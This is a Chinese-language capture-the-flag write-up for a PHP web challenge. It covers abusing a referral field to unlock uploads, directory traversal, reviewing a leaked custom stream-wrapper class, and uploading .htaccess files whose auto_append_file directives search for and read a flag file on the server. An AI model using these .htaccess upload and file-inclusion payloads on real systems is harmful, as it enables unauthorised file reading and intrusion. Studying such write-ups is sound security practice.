进入页面后看到有注册和登陆按钮,先注册一个账号
由于这里涉及到金额,尝试查看session和抓包都没能更改数字
尝试其它办法,这里看到有一个上传头像,但点进去显示
还记得在注册的时候有一个推荐人框,尝试拉人头注册
集齐十个人头就可以上传和搜索文件
下一步需要知道文件路径,发现存在uploads目录
进入之后可以实现目录遍历,查找我们上传图片的路径
上传一句话后发现有过滤了一些东西,回头又扫了一下目录发现robots.txt中有config.txt,审码
<?php
class master
{
private $path;
private $name;
function __construct()
{
}
function stream_open($path)
{
if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))
return 1;
$a=$array[1];
parse_str($array[2],$array);
if(isset($array['path']))
{
$this->path=$array['path'];
}
else
return 1;
if(isset($array['name']))
{
$this->name=$array['name'];
}
else
return 1;
if($a==='upload')
{
return $this->upload($this->path,$this->name);
}
elseif($a==='search')
{
return $this->search($this->path,$this->name);
}
else
return 1;
}
function upload($path,$name)
{
if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
return 1;
$filename=$_FILES[$name]['name'];
echo $filename;
$file=file_get_contents($_FILES[$name]['tmp_name']);
$file=str_replace('<','!',$file);
$file=str_replace(urldecode('%03'),'!',$file);
$file=str_replace('"','!',$file);
$file=str_replace("'",'!',$file);
$file=str_replace('.','!',$file);
if(preg_match('/file:|http|pre|etc/is',$file))
{
echo 'illegalbbbbbb!';
return 1;
}
file_put_contents($path.$filename,$file);
file_put_contents($path.'user.jpg',$file);
echo 'upload success!';
return 1;
}
function search($path,$name)
{
if(!is_dir($path))
{
echo 'illegal!';
return 1;
}
$files=scandir($path);
echo '</br>';
foreach($files as $k=>$v)
{
if(str_ireplace($name,'',$v)!==$v)
{
echo $v.'</br>';
}
}
return 1;
}
function stream_eof()
{
return true;
}
function stream_read()
{
return '';
}
function stream_stat()
{
return '';
}
}
stream_wrapper_unregister('php');
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');
?>
这里用到了.htaccess,通过修改配置来查找flag
php_value auto_append_file master://search/path=%2fhome%2f&name=flag
%2f 是 / 因为他里面有一次匹配规则,所以需要使用%2f绕过
这里的master search path name 都是在代码中他自己写的
这里只是调用它的功能
上传成功后再随便访问一个php文件即可
在上传一个内容为以下内容的.htaccess文件
php_value auto_append_file /home/hiahiahia_flag
再次访问.php文件即可得到flag
参考: